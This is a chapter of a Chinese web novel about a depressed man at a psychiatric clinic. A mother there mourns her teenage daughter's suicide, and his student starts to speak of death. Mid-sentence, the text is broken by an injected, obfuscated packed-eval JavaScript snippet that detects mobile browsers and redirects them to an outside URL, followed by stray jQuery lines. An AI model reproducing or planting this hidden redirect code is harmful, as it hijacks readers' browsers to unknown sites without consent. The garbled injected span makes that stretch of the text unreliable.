“药不就是从医院来的吗？不是你们给的还能是谁？”
“我女儿住院前也一直在上学啊。高中了学业压力大点很正常，怎么可能自杀？别推脱，就是你们用药的问题。我就说吃药不靠谱，只会更严重！”
“我就出个差，回来就……”
女人形容憔悴，脸色惨白，激动得面容扭曲，满是干涸的泪痕。又仿佛无力再闹，双目空洞地揪紧叶知的白大褂。
“这位女士，您先冷静一下。坐会儿，坐会儿。”叶知的上级徐主任出面安抚家属，挥挥手令在场的护士去倒杯水。
电梯门一开就感到吵闹，陈向然老老实实来复诊，却看到这一幕。
杨翎母亲正要动手打人，被两个护士制止。叶知眼眶发红，细看还有些肿——朝齐怀生使了眼色，陈向然便被拉走了。前台护士声音尖亮，他忍不住掏了掏耳朵。
“不好意思啊，叶医生和徐医生早上的号一律改到下午……”护士说着,把那间诊室的门关上，封住激烈的言语。
屏幕上的名字停止滚动，候诊厅的灯灭了两盏，一半昏白，一半灰暗。
陈向然早上赖床不起，齐怀生使了十八般武艺才把人拖到这来，勉强赶上预约时间，却也中午了。还有二十分钟，医生们就该下班了——大厅只剩两名等待的患者。
陈向然算了算，再等上两个多小时，叶知上下午班，就轮到他就诊。
“等会儿啊，我叫个外卖。”齐怀生打开了APP。
陈向然侧头望着那边的房间，候诊厅很安静，只有不时踱步的焦躁患者，女人的咆哮声清晰可辨。他能听见，忍不住去听，一句比一句清晰。
“我好后悔把她交给你们。”声音是闷的，哭腔很重，杨母掩面哭泣，连啜带喘的，“她就是睡觉睡太多了不对劲，我才把她带来，你们却把她整成这样。你们都知道什么啊，我在她身上花了多少钱多少精力，钢琴舞蹈播音主持她样样都会，成绩也一直是年级前十名，以后就是清华北大的料。那么好的孩子……可是有一天她突然跟我说，妈妈我好累，她说妈妈我觉得活着好累……”
陈向然默默地收回视线，头垂得很低，正对窗户。天光苍白，透过玻璃上淡青色的遮光膜照进来，散下来的发丝乱糟糟的，将视线切割成碎片。他微微抬起眼皮，窗玻璃上映出自己凹陷的眼眶。
他从不爱照镜子，不敢看自己的模样。偶尔瞥见，总惊讶于自己的变化。
一只手绕过肩膀，捂上他的右耳。掌心是热的，热得发烫。齐怀生在他左耳边说：“别听了。”
他的五感如他内心一样敏感。哪做得到不听呢？有声的听得见，无声的也听得见。
只唯独听不见他幻境里的鲸鱼。他也感到自己早褪去了少年时的灵动。
“我也有女儿，我非常明白您的心情。但是，杨翎妈妈，您听我说。”姓徐的主任医师声音带着暖意，“您有没有考虑过孩子父亲的问题呢？”
“她爸……她爸有什么问题？他照顾她的时间比我还多呢。”
“虽然现在说这些为时已晚。杨翎在住院期间同我们说过，她的父亲为了叫她起床，持续用灯光照射她的脸。因为督促让她学习，在她躺床上时播放英语听力。我听说当初办理出院手续，杨翎本人是不愿意的。”
“我……我们不知道会这样呀。”杨母的声音难以置信地高亢起来，“她整天整天地睡觉，我们担心啊。我们是父母，怎么可能害她去寻短见呀？不行，这个叶医生，今天得跟我去警局，我要求审问……”
这样的对话，杨母想必是向警方提出调查主治医生，因为证据不足或程序不规范，被拒绝了。
陈向然五指戳进头发里，抓得更乱了。
他常年不修边幅，齐怀生总是不厌其烦地替他把辫子拢好、扎好。
“这种事……”他沙哑地开口，“不该让警方调查吗？”
“确定是自杀了。”
“那为什么自杀呢？”
“因为抑郁发作。”
“那……如果是被人蓄意刺激呢？”
“还在查，查出来了，也构不成杀人罪。”齐怀生扣好最后一圈皮筋，手指滑过发辫，绕着把玩，“你想听的是这个吧？但是……很可惜，抑郁症、双相，也是受人刺激造成的。”
是长期的、无数大大小小的刺激叠加而成。
他好像明白了自己想要什么答案。模模糊糊地，有那么一点明白，关于那个心结——关于“为什么是我”的疑问。
齐怀生从一楼取来外卖。两份热腾腾的芝士焗饭，埋了火腿、鸡肉，再点缀几块西兰花。端着不方便吃，齐怀生示意他坐到地上，背靠墙壁，两腿曲起，饭盒就搁在膝盖上。
“记得吗？”齐怀生咬着一次性竹筷掰开，把芝士肉酱和米饭搅拌在一起，嘴边挂着笑，“我爸刚出事那会儿，咱也这么吃饭，在医院里。”
而陈向然扔来一句冷漠的：“不太记得。”
“你那时候看着比我还难过，这就不记得了？”齐怀生用额头碰碰他的脑袋。
陈向然没躲，任由他一天比一天亲昵的行为，也不说话，慢条斯理吃着饭。
他忘了很多事，只偶尔想起些零碎片段——譬如齐怀生的父亲，那个为儿子奉献了大半生的男人，那时差点让儿子断了求学路。
忘了很多，偏偏做MECT电击的酥麻感还记得清楚。还有林岚。五六年不见，记忆里母亲的容貌早模糊了，却记得把他拖拽到治疗室的那股力道。她说，如果不好好治疗，就要与他断绝关系。
他经过几次电击，几度忘记林岚的姓名。而后他逃走了，逃到无人认识的地方。电击大约还是有些用处，他意识空明，无悲无喜，不再迫切地寻找死亡，只想寻找答案。
“叔叔现在怎样了？”他问。
“精神是不错，但身体其实不太好，留下基础病了。他啊……”齐怀生顿了顿，“听说你不见了，让我一定要找到你，找多久都要找到。”
陈向然握筷的手顿住了。
“这样……”他漫不经心地挑着饭粒，“因为你爸，你才来找我。”
齐怀生扭头，看他一撮扎不起来的头发失落地垂下来，轻轻笑了一声：“对啊，要不是我爸，谁找你。把我丢下的账还没跟你算，哈哈……”
陈向然听出这笑声干涩无力，心知是个真心的玩笑。事情过去好几年了，可在有些人心里从没过去。
他以为这样就好了，永远远离爱的人们，这样就好了。然而命运不让他安好，即使如蜘蛛丝一样的线索也要缠绕在齐怀生的指尖，牵引到他身边来。
陈向然把头埋得更低，匆匆吃完饭，掏出手机看看龙皓又发了什么。
他不爱关注龙皓的信息，嫌兔崽子烦。可这人最近太反常，不来上课便罢了，喜欢玩午夜凶铃。要是不回消息，就要打电话过来。陈向然半夜早醒，抑郁发作，极讨厌接电话，只能偶尔看看手机。
“还有半个多小时。”齐怀生扔完外卖盒回来，贴着他坐下，“聊聊吗？你和谁聊天呢？”
一个刺猬头伸过来，陈向然把手机挪了挪，打字的手指隐约遮挡聊天框：“没谁。”
“龙皓啊。”齐怀生感到他浑身上下透着拒绝，也不看他了，“一周不见，他最近怎么样？”
“不找我上课，又天天找我说些废话。”他熄了手机屏，“懒得管他了。”
接下来半小时齐怀生都沉默不语。
四周安静得陈向然就快睡着，一直到有患者踏入这条走廊，他才清醒过来。
睁开眼，身上盖了齐怀生的皮夹克，泛着宁神的檀香。
——你说，死
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16302004|182790||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
亡真是一种解脱吗？
——他们会后悔吗？还是觉得，少了一个负担？
陈向然坐在小电驴后座，刷看龙皓前前后后说的话。
他觉得不对劲。
这么个乐天的人，前阵子还笑着说他成绩进步了两百名，也开始谈论死亡了。
他一开始没在意，青春期的好奇心而已，回答得很敷衍。此时才感到异样，一种很熟悉的异样。于是一路回复消息，到家了在回复，吃饭还在回复，洗澡还要把手机带进浴室。
齐怀生大约是喊过他，他记不清了，没有回应过似有若无的呼唤。有一只手伸向他的手机，也被他一手拍开了。
黄昏。
以前也有过这般火红的残阳，把一个少年写给他的文字映得朦胧晕眩。
直到天黑他也没停下来，早就不晓得自己在回复些什么。只是在屋里坐立不安地踱步，掌心不停出汗。
——为什么会到这一步？为什么是她？
龙皓仍在发消息，仿佛聊天窗口的另一头不是陈向然，而是个无底黑洞。他每发一句，陈向然的牙关就咬紧一分。
他什么也不知道，于是什么也做不了。
他快被逼疯了。
——被人间抛弃的人，会被星辰接纳吧。
“为什么是他？”他自言自语，“为什么是我？为什么是……我们？”
“这么晚了就别玩手机了。”
深夜虫鸣，陈向然被近在耳后的声音吓一跳，扭头就碰到了齐怀生。
浴室门口空间极狭小，只勉强容两个人。齐怀生一动不动地站在那，一手拎着换洗衣服，两脚堵住了门口。他今晚又去陪叶知，回来时已然半夜。
“让开，我睡觉了。”陈向然拨开他。
他只往旁边让了一点：“多晚了，为什么不睡觉？”
陈向然迟疑片刻。其实是为了等他，没有吃唑仑片。齐怀生才是他最好的药。
原来自己不知不觉在接受他。这对他不公平，陈向然心想。
齐怀生追问：“吃药了吗？”
“我睡不睡，和你没关。”
“只要我在你身边一天，就和我有关。”
“……”陈向然一时语塞，最终搪塞过去，“我有事，晚点睡。”
“还跟谁聊天呢？”
他挤着走出去，听齐怀生说得漫不经心，怒意如黑色藤蔓将他缠裹起来，冷冷地说：“你想怎样？”
齐怀生一怔，转开脸，荡开衣服撂挂钩上：“没什么，随便问问。”
“这么想管我？”
“没这个意思。”
“好。”陈向然的声音一如外面的冷空气，“我和龙皓聊天，行么？是不是还要问聊了什么？”
竟是这么个结果。齐怀生忍住叹气的冲动。才刚开始试探，倒被对方看透了。
陈向然的声音隐隐颤抖：“对不起。但是……”他回头，背影没入黑暗，“你收拾一下，明天就回去吧，如果没别的事——”
“那要有事呢？”齐怀生打开水泵，试了试水温。
“就现在说。”
齐怀生关了水流，空间里又是死寂。余留的水珠嘀嗒、嘀嗒砸在地板砖上。
他凝视陈向然的背影，缓缓走上去，猛地握紧他细瘦的手腕。陈向然疼得吸了口冷气，回头见对方那双眼盈盈有神，神色无比认真。
“不要和龙皓来往了。”齐怀生松了力道，摩挲他突出的腕骨，声音沉而温柔，“他这个人，不太对劲。”
陈向然压下极度无奈的心情，抽回手，揉了揉腕部。
喃喃地说：“他是我的学生，一个孩子而已。”
“一个孩子而已……”却要被逼到这个地步，悲哀仍在轮回，现实没有一点改变。
他头也不回地进了房间。